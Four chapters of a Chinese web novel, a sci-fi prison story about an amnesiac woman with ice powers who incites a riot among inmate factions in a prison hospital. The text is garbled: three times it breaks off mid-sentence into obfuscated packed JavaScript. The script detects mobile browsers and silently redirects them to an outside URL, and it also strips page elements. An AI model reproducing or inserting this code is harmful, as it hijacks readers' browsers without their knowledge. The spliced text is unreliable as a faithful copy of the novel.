《从监狱到至高[星际]》 1. 第 1 章 头痛。 无法忽略的异物感,像机器叶片在搅拌大脑。 叶眠呼吸又急又浅。 思考无意义。她想挣扎,但四肢完全断联,只能任人摆弄。 眼皮几乎被痛苦点燃,幻觉一样,她看到了一场大火。 四个影影绰绰的身形,三个被高温烹到扭曲。 大火灼烧的痛、颅内受伤的痛、神经撕裂的痛,交织在一起,如网般罩下。赤红色淹没了那三个人影,越想看清越看不清。剩下一个踉踉跄跄地逃了出来,刹那间,叶眠看清了那张脸——是她自己。 “麻醉过了,给她补一针。” 朦朦胧胧的声音,穿过大火浑浊的空气,钻进叶眠耳里。 “第七针了,她抗药性太强。” 大火的红色缓缓褪去,现实世界如潮水般把她拥住。 叶眠吃力地把眼睛睁开一条缝。 蓝色的房间,刺眼的白光,人,导管,仪器。 有谁走近了,模模糊糊的,看不清脸。 “强效麻醉。” ——终于熄灭的大火,被冰封在记忆深处。 叶眠昏过去了。 * 再醒来的时候,叶眠趴在床上,头侧向一边,颈椎硬得像钢板。 病房内饰没什么特点。隔壁床位上的人盖了白布,蒙着脸。 大概是死了,她想。但我接受良好,为什么? 她想转过身去平躺,结果刚一动,后脑勺尖锐的痛感骤然席卷。 叶眠猛吸一口气,好悬才把尖叫出声的冲动压了下去。 脑袋有伤,怪不得头疼,隐约想起之前不太美妙的濒死体验,叶眠满头问号。 所以,这是哪?谁打的我? 胳膊碰到了点东西,她用手一摸。 ……纸片? 刚想举起来看一眼,就听到病房门打开的声音。 叶眠把纸片滑到衣袖里,闭眼装昏。 “C监死亡率压不下来,如果被起诉怎么办?我不想进审判庭。” 几个人进来,应该是没想到叶眠已经醒了,说话的声音没有压低。 C监?审判庭? 叶眠淡定且困惑地旁听。 “新官上任,肯定有办法,你担个什么心?”呛声的语气带着鄙夷,像个喷火的辣椒。 “是是,咱们顶多落个管理不当。”一开始的声音带了些讨好。 他们一边说话,一边走向了旁边的床位。 “管理?我们能叫管理吗,厦彼,要管理也是头儿的管理。”稍远一点的辣椒说。他语气一变,热情起来,“是吧头儿?” “别嘴上没个把门的,赶紧抬人吧。钢牙前面,老鼠后面。”“头儿”是个中年男声。 “咦?这人有点眼熟,好像是个姓刘的赏金杀手,怎么进了C监就这么死了?” 他们在讨论隔壁床的尸体。叶眠竖着耳朵听。 “叶绵绵还昏迷着吧?谁能想到她看起来柔柔弱弱,二代禁制环都能挣脱,硬是把人杀了。应上边要求,现在换成三代了。” “三代环带电击、窒息警告、麻醉,还什么来着?咱一共才配了没几条,叶绵绵她真有必要吗?” “你质疑上面的决定?” “嘿嘿那没有,主要咱都知道,她进来这几天什么熊样……” “抬你的尸,钢牙也闭嘴。”“头儿”说。 他们抬着尸体走了,直到房门闭合,叶眠睁开眼。 叶绵绵?好像是……我? 这都什么跟什么? 叶眠摸了摸脖子上的金属环带——几分钟前她还以为这是装饰来着。 她把刚刚藏起来的纸片举到眼睛旁边,上面用深蓝色的墨水写了两行字:法蒙已经继任,两周内出来,我派人接你。 叶眠锐评:字还行,但语气有点生硬。 她顺手把纸片翻了个面:“怎么把自己伤这么重[心碎]。” ……锐评早了。 我感觉我们有点暧昧了。 另外,没落款,书信格式错误,扣两分。 * “你活下来是个奇迹。联盟医大的巡医队路过这破地方,领队是个外科手术很厉害的学生。” 方脸护士抬起胳膊,给叶眠检查点滴的速度。粉色的护士服包裹着强壮的身躯,咖色卷发盘在脑后,下颌线轮廓硬挺。 “他用了生长因子技术,你会自己长出一个全新的颅骨。”护士说,“跟钢筋条比起来,人类原生的骨头还是太脆弱了些。你没看到256号藏了武器吗,拼死也要把他杀了?” 叶眠茫然。 我不知道啊。 护士检查了留置针,又给她喂了一些水:“二次判决书两星期后到位,你可以在医院住到判决下来,然后再回牢房。” “好的,谢谢。”叶眠第一次开口,声音哑得不像话。 护士叹气:“第一次杀人判了八十年,还不够吗?现在好了,C监不接受减刑和缓释,你家里托不着关系的话,二判死刑执行跑不了。” 因为杀人?被判八十年?二判死刑? 我吗? 我是良民啊。 叶眠傻傻地问:“我杀了什么人?” “我只知道你是杀人入狱,没看过卷宗。但审判庭推你的案子可谓神速,”护士轻啧一声,“说不定是什么大人物吧,人不可貌相啊。” “总之,好好享受你最后的人生吧。” 护士放下两瓶口服止痛药,叫她自己看着吃,然后就推着小车离开了。 * 在她走后,叶眠沉思半晌。 她解释不了,其他人嘴里的“叶绵绵”跟她叶眠是同一个人这件事。或许是钢筋入脑的影响,她失忆得彻头彻尾,把一切忘得干干净净。 她怀疑,自己可能是穿越了,但从哪穿来的,她也不记得了。 世上无难事,只要肯放弃。 叶眠自信断言:我就是个没有过去的人。 话又说回来,虽然叶眠没有过去,但挣扎一下,或许能有未来。 目前她面临的最大问题是:怎么摆脱死刑?怎么离开监狱? 根据那张纸片的消息,叶绵绵在监狱外可能有队友。 没有队友的通讯方式。舍。 学习肖*克前辈? 肖前辈没有死线,但她有。舍。 暴力越狱? 这得看监狱布防情况。 她需要更多的信息,躺在这里不会有任何收获。 叶眠尝试坐起,感觉自己的脑壳里好像全是果冻。她一晃,果冻就开始晃,伴随着细密的疼痛,眩晕,以及恶心。 她狠狠地吃了一番苦头才成功,后脑坠得沉沉的。 感觉很坏。 屋内一角有电动轮椅,确定目标后,叶眠开始慢慢挪动。坐到轮椅上颠的那一下,痛得她眼前发黑,结结实实地缓了一会才好。 拿上一瓶止痛药,叶眠想了想,果断倒了一片吃掉。 路过洗手台,叶眠看了眼镜子。 这张脸,就是梦里那个“幸运儿”的脸。 她的脸。 为了做手术,叶眠的头发被剃没了,镜子里的光头缠了半个脑袋的绷带,脸色憔悴,没什么表情地跟她对视。脖子上黑色的金属项圈,衬得周围皮肤更苍白三分。 有一瞬间,叶眠想摸摸自己后脑勺试试什么手感,仿佛恶魔低语:来,试试看。 会不会是软的?能不能陷进去? 出于某种敬畏之心,她最终还是放弃了这个想法。 推开病房门,叶眠谨慎地观察了一下情况——头顶有摄像头,走廊里弥漫着消毒水的味道,但是没有人。 叶眠看着指示标牌,转着轮椅一路移动。她的目标是点滴室,因为病人挂吊瓶无事可做,有的医院会在点滴室装电视。 果然,排椅上零星坐着躺着几个人,半面墙大的显示屏正在放新闻。 如果不是大家手上都带着镣铐,很难说这是在人民监狱而非人民医院。 叶眠找了个角落,锁住轮椅。 “咦?叶绵绵?” 一个胖子凑了过来。 他的头发眉毛睫毛都是浅金色的,双手带着金属手铐,但手背没有扎针。 白化症,叶眠想。 “你不在床上躺着养伤,乱跑干什么?”胖子问她,一边注意到她的脖子,“他们给你换了新的禁制环?” “三代禁制环,带电击麻醉的好东西。”叶眠现学现卖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813653|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她很想问一句,你又是谁啊? 胖子警惕地缩了缩脖子:“有杀气,不对劲。” “当你脖子上也是三代的时候,希望你能和现在一样开得起玩笑。”叶眠说着,伸手碰了碰胖子脖子上的禁制环。 手感类似皮革,与她不同,看起来十分坚固。 叶眠:怪不得我能挣开……为什么我能挣开啊? 胖子眼睛瞪得大大的,但没躲,像是被镇住了。 叶眠把手收了回来。 “只有高危分子才需要带三代。”胖子慢半拍捂住自己脖子,“噫,你好可怕!” “说话当心啊,胖子。” 吓唬他一句,叶眠自己也是一愣。 这个称呼叫得太自然了。 胖子跳脚:“我就说,你肯定没那么简单,从你杀256我就知道!当时我就在隔壁,没睡,还有,不要叫我胖子,说几次了,我叫拉米亚纳·法格里布。” 原来是认识的邻居,叶眠想,他说到杀人的语气也很平淡。 “监管真的太恶劣了,知道你们不对付,还特意把你们调到一间。”胖子打抱不平。 谁?我跟死者吗? “确实。”叶眠干巴巴地说。 胖子跟她大眼瞪小眼。 “你真变了绵绵,你原来不是这样的,”胖子眉头越皱越紧,“难道三代环不止会锁异能,还能让人转性?” 异能……? “别管了,你看到了我的手法,帅不帅?”叶眠双眼发亮,“一百字小作文,夸吧,我想听。” “呃……”胖子心善,只能配合,“你一把扯掉了禁制环,虽然有些吃力,然后你一边尖叫着‘去死去死’,一边凝出了一把冰锥,直直捅向他胸口,同时他抽出了钢筋条,用蛮力插进了你的脑袋……说真的,我觉得只能算两败俱伤。够一百字了吗?” 叶眠敏锐地捕捉到了关键信息。 ——我凝出了一把冰锥。 叶眠看了看自己白皙、柔软、纤细的双手。 “不用看了,你现在带着三代,肯定是用不出来了,不过听说你的异能评级是A呢。”胖子说。 “那你呢?” “你忘了?我认识你的时候就说过的。”胖子眨了眨眼睛。 “噢。”叶眠面无表情地把头转走。 “我错了绵绵,我没跟你说过。开玩笑的嘛,别不理我。”胖子拽拽她。 叶眠轻轻地呼出口气。 这人白板一样,有点太好看透了。 难道是新手福利? “我是C级,只要没在饥饿状态,我就能变出碳水制品,味道的话,嗯……比较不确定,”胖子挠头,“无毒无害,也没有特殊效果,但有时候还挺好吃的。有机会给你变一个尝尝。” 超能力。 啊,这个世界的人有超能力。 叶眠双目无神地想:头好痛,肯定是止痛药效过了。 “绵绵,你好奇怪。”胖子说。 “是啊,我第一次听说有人可以变出食物,还是不好吃的那种。”叶眠说着,糖豆一样倒出一片止痛,扔进嘴里。 “噢,那你还是见识少了,”胖子不以为然,“我家里有能催熟玉米的,有能手萃营养液的——按理说这需要机器,但是他自己就可以,简直是移动的粮仓,天啊,比我厉害多了。” 胖子说话时的表情有些向往。 “或许还是战斗方面的,异能,更强一些吧。”叶眠试探性地说。 在这个死人激不起任何情绪波动的地方,直觉告诉她,用来打架的能力会比较沾光。 “当然,比起日常型、辅助型,战斗型确实更吃香,”胖子说,“你一开始住进我隔壁的时候,凄惨得像个失足少女……所以我还怀疑来着,你到底怎么获得的战斗型异能,一般性格比较强势的人才会觉醒,呃,凝冰锥,这种。” “啊,那说明我的伪装很成功。”叶眠说。 “非常成功,天衣无缝的演技。”胖子赞道,“所以你是为了杀256号进的C监吗?” 叶眠心想,我怎么知道,我什么都不记得了。 “你觉得呢?” “毕竟你伪装潜入C监,总不能是跟我一样避难来的吧。”胖子挠头。 2. 第 2 章 叶眠没几句话就把胖子套了个底朝天。 “法格里布家门不幸。”他悲伤地说。 按照家族里的计划,他本应拿个不痛不痒的罪名,然后去A监蹲着,结果不知道哪里出了差错,进了C监。好在先天白化体质,可以每天来监狱医院躲灾,目前还没被狱卒折磨过。 “C监的名声一直不太好听,狱卒会把一些囚徒关在一起,限制他们的生活资源,用斗兽式手段控制秩序。上一任典狱长更是个恶心的变态。” “怎么说?”叶眠问。 “他每个月都会在监狱里举办囚徒比赛,解开禁制环,让他们上生死台,1v1,战斗到一生一死才算完,”胖子摸了摸胳膊,“我听说要被关C监的时候心都凉了,还好咱们来的时间合适,他下台了。” “新一任典狱长人怎么样?”叶眠问。 “我只记得他名字很怪……好像叫法蒙?他没怎么露过面。” 法蒙。 他会是自己这边的人吗?叶眠心想,“自己这边”到底是不是自己这边都不好说。 “怎么可以见到他?” 胖子的眼神变幻:“你闲得没事找典狱长干什么?不过可能下个星期的巡检他会来,我不确定。” 来不及。 “还有别的情况吗?” “嗯……监狱内发生大型骚乱?”胖子感觉事情不妙。 “唉,不太行。”叶眠说。 昨天刚做完手术,她状态不好,影响发挥。 胖子表情一松。 “改天吧。”叶眠斗志昂扬。 胖子五官扭到一起。 - 医院食堂比监狱里的伙食好一些,这是胖子说的。 但还是相当难以下咽。 叶眠食不知味地暗示自己,要摄入足够的营养素,不吃就饿死。 ——出狱后我一定、一定要吃点人能吃的。 她又挖了一勺黄色羹体送到嘴里。 固体部分尝起来像墙粉结块,但是泡的汤汁又过甜,口感深刻到让人吃一口难忘一辈子。 绿色蔬菜、或者是某种藻类,外表是死亡的深褐色,吃到嘴里有股雨后泥土的味道,干涩的口感如慢速电钻来回磋磨舌头,苦味绕梁三日不绝于嘴。 ——赶紧离开监狱的理由又增加了,叶眠想。 下午叶眠再次扩大了她的活动范围,等她把整个医院基本逛完一圈,两瓶止痛都快吃完了。 监狱医院里的警卫力量出乎意料的松散,仿佛只是个普通医院。病人到处走根本没人管,狱警更是没见着一个。 一楼是食堂和药房,后者有人把守没能进去。二楼是各种诊室,三楼是叶眠住的病房区。 挂维生机的重伤病患住在四楼东侧,以值班室为界,西侧是手术室。叶眠路过器材室,里面没有人,门也只是虚掩着。 她四顾无人,果断推门进去,过了会儿,又若无其事地转着轮椅出来。 叶眠尝试了在器械室内看到的所有尖锐物品,包括金属手术刀、组织剪、骨锯、电钻、解离针,但没有任何一个能让她脖子上的禁制环破损哪怕一点。 她看到了一把手持激光刀,一念之下,叶眠把激光刀连带着充能器都顺回了自己病房。 第一次使用激光刀不够熟练,叶眠对着镜子仰着脸,切禁制环的时候,一不小心戳到了下巴。 很痛。 高温激光几乎立刻就烫焦了伤口,有股微妙的焦香蔓延开。 叶眠咽下最后一片止痛,老老实实地找了外科医生。 老大夫处理烧焦的伤口时,手段十分凶狠。 止痛打了两管,止血药的药效也很差,叶眠从下巴到脖子都血刺呼啦的,活像凶杀现场。 “医生,这样会留疤吗?” 其实叶眠真正想问的是:切割伤这样处理,真的没问题吗? “运气好就不会,小姑娘爱美,我知道的。”医生头发花白,带着单边眼镜——可能是老花镜——老神在在地说。 他给叶眠的下巴缝了四针。 缝到第二针,叶眠的痛觉神经就睡醒了,看她呲牙咧嘴痛得不行,医生没办法,又打了一管止痛药。 “有这么痛?”他嘀咕。 叶眠假装没听到。 问她伤口怎么搞的,叶眠一脸老实:“摔的,医生,你知道的,我脑壳碎了,头晕,所以摔到地上了。” “头晕严重吗?给你开点药。” “很严重,甚至影响睡觉。” “那给你开点安眠。” “医生,我身体抗药性比较强。” “所以你用了我三管止痛,三管。好了,给你开点安定不要紧,但这些出院的时候你得一起结账。” 医生摘了一次性手套扔掉,挥挥手让叶眠拿着单子赶紧走。 结账? 好吧。 还以为监狱医院做慈善的来着,合着是想多了。 等到傍晚,护士见到她包着纱布的下巴,脸上露出了明晃晃的谴责。 她扳着叶眠的脸看,表情严肃,动作倒是温和:“又干了什么好事?激光手术刀不是玩具,再深一点就伤到骨头了,还好偏了一点。” “外科的老大夫也是个老顽固,他不怎么用新科技手段,你这个下巴缝了针,以后还是要留疤的。” 叶眠暗想,留疤倒是小事。头被拨来拨去,她老实万分:“抱歉,我就是好奇,医院里看守这么松弛,感觉摘了禁制环就能跑。” “三代禁制环的材料可不是普通激光刀能切断的,需要密钥,傻孩子。” 护士怜爱地摸了摸叶眠头顶,小心地避开了她的后脑:“越狱抓到就是死刑,这是C监自治的权利,没人会想冒这个险。” “原来如此,”叶眠小声说,“能不能再给我几份口服止痛?” 之前的止痛吃完了,她熬不住。 “不在床上躺着,自己到处乱跑,痛了知道错了?”护士冷哼一声,拆了她头上纱布查看了一下出血情况,又拿了电视镜。 “万幸长势正常,不然有个瘪脑瓜多不好看啊,”护士说,“生长因子疗法,你用的药都是那个学生按天数配好的,没留给你折腾的份额,可让人省点心吧。” 护士嘴快手也麻利,给她又抹了一层药膏,拿纱布重新把头缠起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813654|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶眠一动不动,忍着疼,假装自己是个无知无觉的木偶。 她问:“姐,给我做手术的医生什么时候走的?” 护士随口答道:“你醒之前他就走了,巡医队赶着去下个地方呢。不过他走之前把该注意的都告诉我了,你找责任医生的话,找我就行。” “那有机会再向他道谢。姐,给我开点止痛药吧,我真的很需要。拜托,你是最好的护士姐姐了。” 等护士放开她的脑袋,拿起瓶瓶罐罐放回小车上准备离开,叶眠仰着脸,语气近乎撒娇。 “小滑头,明早给你带。”护士捏了捏她的脸,“看到你的安眠药了,一晚上不吃止痛不要紧哈。” * 第二天早上医院里闹了些动静,叶眠趴在床上听。 护士百忙之中过来给她拿了四瓶口服止痛,叶眠满是感激地把人送走,心中已经有了计划。 上午叶眠在输液室见到胖子。 胖子还坐在昨天的位置上,手上带着手铐,见到她后的第一句是问:“你下巴怎么了?” 叶眠摸了摸纱布,感受到一丝痛意:“摔的。你晚上不住医院吧?” 胖子表情古怪:“医院夜里闹鬼的故事你小时候没听过吗?” 家喻户晓的□□欸,怎么连这个都不知道! “早上一般也不会过来,对吧。”叶眠只抓重点。 “谁起早八来医院打卡啊,我又不是医生,医院也不给我考勤发薪水。”胖子不满。 “很好,所以你明天下午或者晚上再来,”叶眠一锤定音,想了想又补了一句,“如果顺利的话。” “别做傻事啊绵绵。”胖子面色肃然。 “不会,”叶眠说,“还有,往后不要叫我绵绵,我是叶眠。” “你也不叫我拉米亚纳法格里布,”胖子嘀咕道,“叶绵。” “眠。不要当文盲。”叶眠拍拍他肩膀,两个字在通用语发音上有区别。 - 晚上十一点熄灯后,医院仿佛也陷入沉睡了。 虽然C监在监狱里可能算大的——毕竟穷乡僻壤地皮便宜——但C监医院并不大。 今天早上接待了一批5区持械闹事的犯人,他们被锁着手铐关进医院,导致现在病房塞满了缺胳膊断腿的囚徒。 白日里他们的咒骂声、申吟声不绝于耳,叶眠能听清至少有三拨人——“法蒙的走狗”、“老狱长的鹰犬”、“自由帮的喽啰”。 叶眠还听到几次护士的尖声大叫,诸如“不要动你的腿”“你的手指已经接上两次,不要再弄断”“假肢不是武器”之类,听起来很是崩溃。 时间走到后半夜,走廊里已经静得落针可闻,只偶尔冒出一声悠长的痛吟。 急诊亮着灯,值班的年轻医生姓李——不管他拿的是不是假证,至少名义上是医生——在聚精会神地看电影。 车库里,关押车司机躺在车厢里的担架上打鼾,保卫抱着枪在警卫室脑袋一点一点地打瞌睡。 叶眠咽下止痛,把开了封的止痛药瓶子单独放进一个衣服口袋里。 她摸黑出动了。 这次没用轮椅。 3. 第 3 章 叶眠的手指滑过病房的墙壁,呼吸压到极致,连空气都似乎凝固了,等待着她的下一步动作。 她的目标很明确——切断电力供应,让整个三楼病房区陷入黑暗。 踩着微弱的月光,叶眠下到二楼半。 储物隔间的小门不上锁,门后就是电阀开关控制板。 手中小刀轻轻一撬,金属板发出细微的“咔哒”声,叶眠的动作顿了顿,侧耳倾听,确认走廊依旧死寂后,才继续操作。 手指灵巧地拨开电线,激光小刀在她手中闪过光芒,一瞬间映衬出叶眠眼中微弱而沉稳的神采。 “咔嚓——” 楼层总闸被切断的瞬间,应急小灯的光芒骤然熄灭,整个走廊彻底陷入漆黑。叶眠没有停下,她迅速用激光刀划断了剩余的几根备用线路,确保电力无法在短时间内恢复。 心脏在胸腔中剧烈跳动,但她知道自己是冷静的。叶眠像一只在黑暗中潜行的猫,悄无声息地回到了自己病房——旁边的11号病房。 开门时,她故意让门轴发出一声轻微的“吱呀”声。 “谁在那里!”靠门床位的男人猛地坐了起来,声音里带着警惕。 “一切为了自由。”叶眠压低声音说。 自由帮的中二口号,她今天听到了好多次。白天她摸清了这一层病房的势力分布:她所在的十号病房,右边房间两人是自由帮成员,左边房间两人则是新狱长法蒙的追随者。 “我给你们解开手铐。”叶眠直接亮出了手中的激光刀。 刀锋在黑暗中划出一道光弧,精准地融断了手铐关节。裂开的镣铐无声落到叶眠手中,断面还带着金属熔融的微光。 “激光手术刀?”他有些疑惑,“哪里拿的好东西?” 叶眠没有接话,迅速用同样的方式解开了第二个人的手铐。 他们二人摸着自由的手腕没反应过来,叶眠低声开口:“我去其他病房给他们都解开手铐,然后我们就行动。” 她故意说的模棱两可,试探一下对方的反应。 “行动?什么行动?”靠窗的成员皱了皱眉,“医院内警卫松散,但医院之外,三面二十米高的高压电网,唯一通道连向C监9区,重犯区守卫森严。昨天的活动已经结束,谁也没讨到好。” 叶眠眼神闪烁,露出一丝若有若无的笑意。 她的声音压得更低,带着一种冷静的蛊惑:“别下定论,还没到最后。早上的械斗确实不了了之,但现在他们手无寸铁、毫无防备。我们趁此机会,赶尽杀绝,自由帮就是唯一的胜利者,你们都会是帮派的功臣。” 房间里陷入了短暂沉默。 他们显然被这个提议震惊了,但叶眠没有给他们思考的时间。 “重伤的兄弟在楼上靠维生机苟活,难道你们要眼睁睁看他死在医院里,平静地接受这场失败吗?你们就没考虑过,用一场堂堂正正的胜利为他送行吗?” “一切为了自由,难道只是口号吗?” “抱歉,至少我无法束手旁观。”叶眠作势就要离开。 靠门床位的自由帮成员咬了咬牙,低声说道:“3、6、8、9号病房,都是我们的人。” 不就是搏一搏,单车变摩托? 自由帮从没怕过! “摔杯为号。” 叶眠点头,转身,眼角微弯。 掩上门,她靠在走廊冰凉的墙壁上,浅浅地呼出两口气,打开口袋里的止痛又咽了一片。 接下来的一个小时里,叶眠像一只无声的影子,穿梭在病房之间。 她利用激光刀解开了所有人的手铐,鼓动自由帮再次冲锋的同时,也在法蒙派的病房里散布了“自由帮即将发动袭击”的消息。她的言辞巧妙而富有煽动性,每一句话都直击对方的心理弱点。 在10号病房,她扮演了一个无辜的伤患,声称自己无意中听到了隔壁自由帮的密谋,前来寻求保护。她的语气真诚而惶恐,成功赢得了法蒙派成员的信任。 “确实是自由帮那群疯子的作风,我们会保护你的,”法蒙派的成员低声说道,“你去帮我们的人解开手铐,然后我们一起反击。” 叶眠点了点头,将几把手术刀留给了他们,离开的脚步轻巧而果断。 只这一会儿,叶眠已经弄清了这些派系的成员特色。 自由帮重刑犯偏多。 他们的初级目标是C监内的话语权,这能让他们过得更舒服一点,而终极目标半遮半掩,其实也不难猜——越狱。 正如他们的口号:一切为了自由。 法蒙派则多是轻量级、低威胁的罪犯们。 在监狱长换任的这个时间节点,他们看到了减刑的光芒,寄希望于法蒙是个好人,会给C监这片污浊的地方带来新的空气——比如引入缓释和减刑,比如整肃狱风、更换狱卒。 他们将减刑希望寄托于法蒙,某种程度上是对旧秩序的反抗,却也隐含着对新任典狱长权威的试探,叶眠想。 排除掉自由帮和法蒙派的病房,剩下的便是老狱长的鹰犬。 生死台上的犯人,只要杀掉了自己的对手,老狱长会给他们三年的豁免权——这三年他们可以不用担心再被选上生死台。 不论最初是因为什么被关进C监,哪怕一开始只是因为诈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813655|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗、偷盗、受贿……他们从生死台上活下来了,“敢杀人”、“不用再上生死台”,就足够他们立威服众。 生死台的规则隐隐成就了这三十年内监狱里的阶级。 一些人执着于维护旧秩序,他们中或许有人相信老狱长还会回来,有人不适应在监狱内地位从变回普通人,有人不甘心搏命拿下的特权被一笔勾销——他们组成了老狱长派。 胖子给出的信息有限,他也没真上过生死台,所以描述可能夸大其词。 考虑到这些人手沾不止一条人命,叶眠权衡过,是否要引导他们加入今夜的战场? 她的初衷不是杀人,只是想营造一场足以引起典狱长注意的骚动。 考虑到要制造足够的混乱,她还是决定去打开老虎笼子。 2号病房是老狱长派的据点。 叶眠推开门时,能感觉到空气中无形的杀意,厚重的压迫感向她涌来——她现在面对的,是真正的亡命徒。 “我是来给你们解手铐的。”她声音冷静,手中的激光刀在黑暗中亮出形状。 房间里的人没有回应,但叶眠能感觉到他们的目光紧紧锁定在她身上。 她没有退缩,继续说道:“自由帮和法蒙派计划在今晚发动二次袭击。你们可以选择束手旁观,或者……取渔翁之利。” 她在试探对方的底线。 鹬蚌相争,他们岂会束手旁观?叶眠确信,这些人会自己动脑子,做出她想要的选择。毕竟,这次立威的机会,可能是老狱长最后的余晖。 房间里依旧沉默,但对手的呼吸声悄然加快。 叶眠知道,自己的话已经起了作用。 她将手术刀放在桌上,转身离开。 “生死台上活下来的人,”她在门口停下脚步,声音稍显尖锐,“不会怕死。” 最后一计:激将。 当叶眠回到自己的病房时,口袋里的止痛已经被吃完了。她的后背被冷汗浸透,因为紧张,也因为痛。 她不得不承认,或许自己有些享受这种游走刀锋的感觉。心跳降不下来,血液在畅快地奔流,紧绷的情绪勾紧心弦,隐约铮铮作响。 不过,止痛药效过了之后,她头痛得厉害,仿佛那根被取出的钢筋又插回了大脑,搅得她又疼又晕,眼前发黑。 希望这把由我点燃的野火,能烧到法蒙的办公桌前。 不要让我失望啊。 叶眠锁好门,拿起自己用了两天的玻璃杯,轻轻地摔到了地上。 “啪——” 清脆的碎裂声在寂静的走廊中回荡,像发起冲击的号角,点爆了早已汹涌的夜色。 4. 第 4 章 不知道是谁第一个打开了门,又是谁第一个迈出了房间。 杯子碎裂的声响宣告了今夜医院动荡的开端,最初的几秒还没什么动静,但缓冲很快就结束了,仅仅是回神的功夫,一切都乱套了。 黑夜激发了人的斗志和勇气。 跑动的脚步、指挥与叫骂的话语声,摆件碎裂的脆响,闷闷的碰撞、受伤痛呼的嚎叫……兵荒马乱,场面如同一锅被炖到沸腾的滚粥。 冲突逐渐扩大,好像整个世界都变得失序和嘈杂起来,心有疑惑的人来不及细想,这场发自人类好斗本性、群体行为冲昏个体头脑的群殴,像龙卷风一样把所有人都裹了进去。 叶眠抵着门听,感慨真是一场混战。 有人喊着开灯,有人误伤友军,有人后知后觉地加入战斗。 有人的刀子捅进了别人的身体,有人的拳头落到了别人脸上,有人拿着手铐乱甩,试图浑水摸鱼——他们的武器被没收走了,趁手的道具实在太少。 战场主要位于走廊中部,叶眠拉开门,她的病房靠近走廊尽头的楼梯。 她一手扶着头试图固定——走路的时候脑袋晃得厉害,她实在痛得没法——一边小心地摸着墙走。 没有灯也没有窗的走廊,肉眼视力实在有限,好在她个子相对小些,在一众大汉的混战中顺利溜了出来。 三楼的混乱很快就被楼下的保卫发现了,他拿起枪,叫醒关押车的司机,立刻通知监狱的警卫队前来援助,又强行拽起战战兢兢的李医生上楼。 在楼梯间,他们正面遇到了叶眠。 “我没有恶意。” 这是预期中的环节。面对着保卫黑洞洞的枪口,叶眠感觉自己的视线模糊了一瞬。今夜的行动对于她重伤未愈的脑袋来说压力太大,止痛药的效果越来越差,她干脆没有再吃。 “只是跟我一个楼层的病人们突然闹了起来,我想下去找你们求助,”叶眠粗粗喘了口气,因为痛和眩晕,她的声音都在发颤,连害怕都不用装了,“我们楼层的电闸好像跳了,灯打不开,上面太乱了,二十号人的混战,太可怕了,真的太可怕了。” 保卫严肃地说:“谢谢你的信息,女士,目前三楼的情况我已经有所了解,监控也被破坏了……”因为叶眠把整个三楼的电都断了。 “我不建议你现在上去,”叶眠打断他,递出台阶,“人真的太多了,只有你自己肯定是不够的,或许我们可以等到援助的队伍到,而且现在我需要医生,我的头非常痛。” 她听到自己的心声:再等一等,等混乱再发酵一些。 “是的,是的,她需要我,我先不上楼了,保卫先生……如果可以的话。”李医生咽了咽口水,惶恐不安地说。 “好吧,那我们先去急诊。我会保护你们的安全。”保卫说。 大概十分钟后,四台车驶入了医院的院子,跳下来真枪实弹的十多个警卫。叶眠从急诊室的窗户看得清楚,一切都与她无关。 她今日运动量超标,后脑渗血肿胀、刀口边缘有些感染,医生给她换了纱布,叮嘱她不要再乱动,叶眠满嘴答应。 “我不了解你用的这种技术,注射生长因子、移植细胞什么的,所以其他的我做不了,也不会做。如果还是很痛很晕,明天找一下为你负责的医生,让他看看,有没有什么别的需要注意的。”医生一边说,一边把纱布的尾巴妥帖地掖了进去。 抱歉,之前还质疑你是庸医。 叶眠在心中忏悔,她坐着歇了会,感觉好些了。 “保卫先生,医院闹出这种乱子会有什么后果?”叶眠问房间里的另一个人。 保卫站在窗边回答她:“可能会加强医院这边的值班人手,强化病房的管理。之前只认为医院逃不出去人就够,有禁制环在,犯人都不带手铐,谅他们没有工具也闹不出来什么事,结果竟然闹得这么严重……” 枪声响起。叶眠眼都没眨。 “监狱长会来亲自处理吗?”她问。 “也许会,”保卫说,一边拿起枪,准备前往三楼,“但说不准。我也不太清楚那位新任典狱长的性情。” 叶眠估摸着三楼的打斗持续到现在应该也告一段落,她没再多话,目送保卫出门。 警卫把重伤的犯人送到手术室,被临时叫来的医生已经在准备手术。 外科的老医生一边带手套一边咕哝,说睡到一半被打断,这些犯人真是烦人透了。旁边的年轻医生也打着哈欠,赞同地应了一声。 今夜最锋利的武器是不到二十厘米长的短手术刀,狱警根本没开几枪。所有参与混战的人里有四五个重伤,受伤最轻的身上甚至只有擦伤,被抓起来的时候他们还有些意犹未尽、骂骂咧咧。 虽然不知道哪个环节出了问题,但警卫也懒得管他们到底是因为什么打架,只当是昨天没打够,等天亮走完程序,该延长服刑期的一个都跑不掉。 